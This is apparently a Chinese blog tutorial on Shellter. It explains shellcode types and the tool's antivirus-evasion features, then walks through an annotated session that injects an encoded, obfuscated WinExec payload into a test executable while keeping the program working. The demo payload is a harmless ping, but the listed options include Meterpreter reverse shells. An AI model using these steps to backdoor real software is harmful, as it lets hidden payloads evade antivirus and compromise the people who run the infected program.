使用Shellter进行shellcode注入
在计算机安全领域,Shellcode是一小段代码,作为利用软件漏洞进行攻击的载荷(Payload)。之所以称为“Shellcode”,是因为这类代码常常启动一个Shell命令以获得系统的控制权。
Shellcode可以分为两类:
- 本地(Local):攻击者不会实时的连接到受感染的机器,Shellcode在受感染机器上按照预先定义的逻辑运行
- 远程(Remote):Shellcode在受感染机器上运行,并且攻击者可以通过网络连接到Shellcode,执行任意的逻辑。远程Shellcode通常使用TCP/IP协议与攻击者通信
依据连接建立方式的不同,远程Shellcode又可以分为:
- 回连(connect-back)Shellcode:Shellcode主动向攻击者的机器发起网络连接
- 绑定(Bind)Shellcode:Shellcode在特定端口上监听,攻击者主动发起网络连接
- 套接字重用(socket-reuse)Shellcode:重用既有连接,此方式有利于躲避防火墙
这是一个动态的Shellcode注入工具,可以对32bit的Windows应用程序进行注入。Shellter利用PE文件原始的结构,它无需:
- 修改特定段(Section)的内存访问权限
- 添加额外的基于RWE访问权限的段
- 执行其它容易引起反病毒软件注意的行为
Shellter使用一种独特的、基于目标程序执行流的动态注入方式,而不是在静态/预定义位置执行注入。为了解目标的执行流,Shellter需要启动并跟踪之。
Shellter能够跟踪目标在用户空间的完整执行流,PE镜像中的代码、系统DLL中的代码、堆中的代码都可以被跟踪。这意味着:属于目标的、但是仅仅作为Windows API回调的那些函数不会被遗漏。
在追踪过程中,Shellter不会记录/计数不在PE镜像内存范围内的指令,因为这些指令不能作为永久性注入的参考位置。
通过检查目标的导入地址表(IAT,Import Address Table),Shellter可以支持编码/自解码载荷。它会寻找特定的已导入(imported)函数,包括:
函数(组合) | 说明 |
VirtualAlloc | 操控当前进程的虚地址空间,预定或者提交一部分页 |
VirtualAllocEx | 操控目标进程的虚地址空间,预定或者提交一部分页 |
VirtualProtect | 修改当前进程已提交的一部分页的保护选项(读、写、执行) |
VirtualProtectEx | 修改目标进程已提交的一部分页的保护选项(读、写、执行) |
HeapCreate/HeapAlloc | 为当前进程创建私有堆/从堆中分配一块内存 |
LoadLibrary/GetProcAddress | 加载指定模块(例如DLL)到当前进程的地址空间,可能导致其它DLL连带载入 从指定的模块句柄中获得导出(exported )函数的地址 |
GetModuleHandle/GetProcAddress | 根据模块名称,获得模块的句柄 |
CreateFileMapping/MapViewOfFile | 为特定文件创建/打开命名/匿名的文件映射对象 将一个文件映射对象映射到当前进程的地址空间 |
来支持在运行时执行自解码载荷,而不需要在PE头中修改段的特性。
上述8种组合中的任何一种都可以用来支持自解码载荷。在自动模式下,Shellter会随机使用其中的一组。如果它们都不可用,Shellter会在PE头修改段的属性,以支持自解码载荷。不可用的组合会显示为 --> N/A 。
使用自解码载荷,有利于避开反病毒软件的检查。
Shellter自带了一个编码引擎,可以通过随机数量的XOR、ADD、SUB、NOT操作来进行编码,并且动态的生成对应的解码器。
Shellter自带了若干载荷:
载荷 | 说明 | ||
meterpreter_reverse_tcp | 提供专用于渗透测试框架metasploit的TCP/HTTP/HTTPS协议的远程回连Shellcode支持,示例:
|
||
meterpreter_reverse_http | |||
meterpreter_reverse_https | |||
meterpreter_bind_tcp | 提供专用于渗透测试框架metasploit的远程绑定Shellcode支持 | ||
shell_reverse_tcp | 提供回连/绑定的shell支持 | ||
shell_bind_tcp | |||
WinExec | 执行任意命令或者程序 |
这是5.0版本引入的特性,它允许在维持受感染程序原始功能的前提下,使用Shellter的动态位置注入、多载荷注入功能。
一旦启用该功能,你就可以再次注入已经被感染的程序,所有注入的载荷都独立运作。
通过对目标的执行流进行记录,Shellter能够识别自修改代码,并把它们从可注入点中排除。在运行时会修改的地址注入Shellcode可能会失败,因此需要避免。Shellter总是会在过滤阶段进行自修改代码检查。
这里我们以一个最简单的程序为注入目标:
1 2 3 4 5 6 7 |
#include "stdio.h" #include <windows.h> int main( int argc, char **argv ) { printf( "Hello World!" ); Sleep( 30000 ); } |
打开命令行工具,输入shellter启动注入向导:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 |
rem 下面的提示要求你选择操作模式 rem 对于简单的场景,可以选择自动模式(A) rem 手工模式提供更加灵活的控制 Choose Operation Mode - Auto/Manual (A/M/H): M rem 检查Shellter的最新版本 Perform Online Version Check? (Y/N/H): N rem 选择需要注入的目标文件 PE Target: Hello.exe rem 此阶段会备份目标程序 ********** * Backup * ********** rem 备份为 Backup: Hello.exe.bak rem 已有的备份被覆盖 Note: This overwrites an existing backup file that has the same name. Always remember that the .bak file is the previous state of what you are going to generate. rem 检查PE文件的兼容性 ******************************** * PE Compatibility Information * ******************************** Minimum Supported Windows OS: 4.0 rem 检查目标是否加壳 ****************** * Packed PE Info * ****************** Status: Possibly Not Packed - The EntryPoint is located in the first section! *********************** * PE Info Elimination * *********************** Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature. Status: All related information has been eliminated! rem 是否收集动态的线程上下文信息 rem 收集这些信息以创建更加复杂的定制化多形态代码(PolyMorphic code) rem 或者用动态线程上下文信息作为Key来对载荷进行编解码 Gather Dynamic Thread Context Info? (Y/N/H):N rem 需要追踪的CPU指令的条数 Number of Instructions: 10 rem 是否在跟踪时检测自修改代码,可以避免在某些高级场景下注入失败 rem 一般情况下不需要检测 Check for SelfModifying Code while Tracing? (Y/N/H): Y rem 是否在检测到自修改代码时暂停跟踪 Pause Tracing at SelfModifying Code Detection? (Y/N/H):Y rem 是否对目标的所有线程进行跟踪,还是仅跟踪主线程 Trace All Threads? (Y/N/H): N rem 显示实时跟踪信息到屏幕上,会影响性能 Show Real-Time Tracing? (Y/N/H): Y rem 到这一步,Shellter会打开目标程序,并跟踪其代码执行情况 **************** * Tracing Mode * **************** Status: Tracing has started! Press CTRL+C to interrupt tracing at any time. DisASM.dll was created successfully! The following PEB flags have been reset: 1. PEB.BeingDebugged 2. PEB.NtGlobalFlag 4014e0 sub esp, 0Ch <0> 4014e3 mov dword ptr [004063D8h], 00000000h <1> 4014ed call 00401810h <2> 401810 push ebp <3> 401811 push edi <4> 401812 push esi <5> 401813 push ebx <6> 401814 sub esp, 2Ch <7> 401817 mov eax, dword ptr [0040302Ch] <8> 40181c mov dword ptr [esp+10h], 00000000h <9> Tracing has been completed successfully! Tracing Time Approx: 0.019 mins. Starting First Stage Filtering... rem 第一轮过滤,依据你给定的选项,确定哪些指令地址适合作为注入点 ************************* * First Stage Filtering * ************************* Filtering Time Approx: 0 mins. rem 是否启用隐身模式。隐身模式保持受感染的PE文件的功能不变 rem 启用该模式,则自动启用载荷编码 Enable Stealth Mode? (Y/N/H): Y rem 选择一个预定义载荷,或者定制载荷 ************ * Payloads * ************ [1] Meterpreter_Reverse_TCP [2] Meterpreter_Reverse_HTTP [3] Meterpreter_Reverse_HTTPS [4] Meterpreter_Bind_TCP [5] Shell_Reverse_TCP [6] Shell_Bind_TCP [7] WinExec rem 如果选择定制载荷,则需要指定一个内容不超过260字符的文件 Use a listed payload or custom? (L/C/H): L Select payload by index: 7 **************** * windows_exec * **************** SET CMD: ping 127.0.0.1 -t rem 是否使用动态上下文信息作为编码载荷的Key,试验性功能 Encode Payload using DTCK? (Y/N/H): N rem 是否对解码器代码进行混淆处理 Obfuscate Shellters Decoder? (Y/N/H): Y rem 是否需要指定编码序列,你可以使用x + - !的组合(XOR/AND/SUB/NOT),不能超过12字符 Enable User Defined Encoding Sequence? (Y/N/H): N ****************** * Encoding Stage * ****************** rem 对载荷进行编码 Encoding Payload: Done! **************************** * Assembling Decoder Stage * **************************** rem 对解码器进行汇编 Assembling Decoder: Done! *********************************** * Binding Decoder & Payload Stage * *********************************** rem 对解码器进行混淆并绑定到载荷 Status: Obfuscating the Decoder using Thread Context Aware Polymorphic code, and binding it with the payload. Please wait... Binding: Done! rem 在不修改段特性的前提下支持载荷编解码 ********************* * IAT Handler Stage * ********************* Fetching IAT Pointers to Memory Manipulation APIs... 0. VirtualAlloc --> N/A 1. VirtualAllocEx --> N/A 2. VirtualProtect --> Not Allowed in Stealth Mode! 3. VirtualProtectEx --> N/A 4. HeapCreate/HeapAlloc --> N/A 5. LoadLibrary/GetProcAddress --> IAT[407148]/IAT[407130] 6. GetModuleHandle/GetProcAddress --> IAT[40712c]/IAT[407130] 7. CreateFileMapping/MapViewOfFile --> N/A Choose one of the available methods: 6 rem 显示载荷的信息 **************** * Payload Info * **************** Payload: winexec Size: 2164 bytes Reflective Loader: NO Encoded-Payload Handling: Enabled Handler Type: IAT rem 是否混淆IAT处理器 Obfuscate IAT Handler? (Y/N/H): N rem 是否在载荷前面加上多形态的垃圾代码 Prepend PolyMorphic Code? (Y/N/H): N rem 选择多形态代码来源 Prepend User/Engine PolyMorphic Code (U/E/H): E rem 第二轮过滤 Starting Second Stage Filtering... ************************** * Second Stage Filtering * ************************** Filtering Time Approx: 0 mins. rem 是否显示可用的反汇编指令条目的列表 Show Disassembled Entries? (Y/N/H):Y Total Entries: 10 Valid Index Values: 0 - 9 rem 输入需要显示的指令的索引值范围 Select Start Entry: 0 Select End Entry: 8 4014e0 sub esp, 0Ch <0> 4014e3 mov dword ptr [004063D8h], 00000000h <1> 4014ed call 00401810h <2> 401810 push ebp <3> 401811 push edi <4> 401812 push esi <5> 401813 push ebx <6> 401814 sub esp, 2Ch <7> 401817 mov eax, dword ptr [0040302Ch] <8> rem 可以显示更多的指令 Show more entries? (Y/N): N Total Entries: 10 Valid Index Values: 0 - 9 rem 选择在那条指令的地址开始注入 Select <Index> of VA to Start Injection: 0 rem 注入阶段 ******************* * Injection Stage * ******************* rem 在什么虚拟地址上进行注入 Virtual Address: 0x4014e0 rem 注入点子文件中的偏移量 File Offset: 0x8e0 rem 注入点所属的段 Section: .text Adjusting stub pointers to IAT... Done! Injection Completed! rem 校验和修复 ******************* * PE Checksum Fix * ******************* Status: Valid PE Checksum has been set! Original Checksum: 0xf60e7 Computed Checksum: 0xfc7cc rem 验证阶段 ********************** * Verification Stage * ********************** Info: Shellter will verify that the first instruction of the injected code will be reached successfully. If polymorphic code has been added, then the first instruction refers to that and not to the effective payload. Max waiting time: 10 seconds. Warning! If the PE target spawns a child process of itself before reaching the injection point, then the injected code will be executed in that process. In that case Shellter won't have any control over it during this test. You know what you are doing, right? ;o) Injection: Verified! Press [Enter] to continue... |
Leave a Reply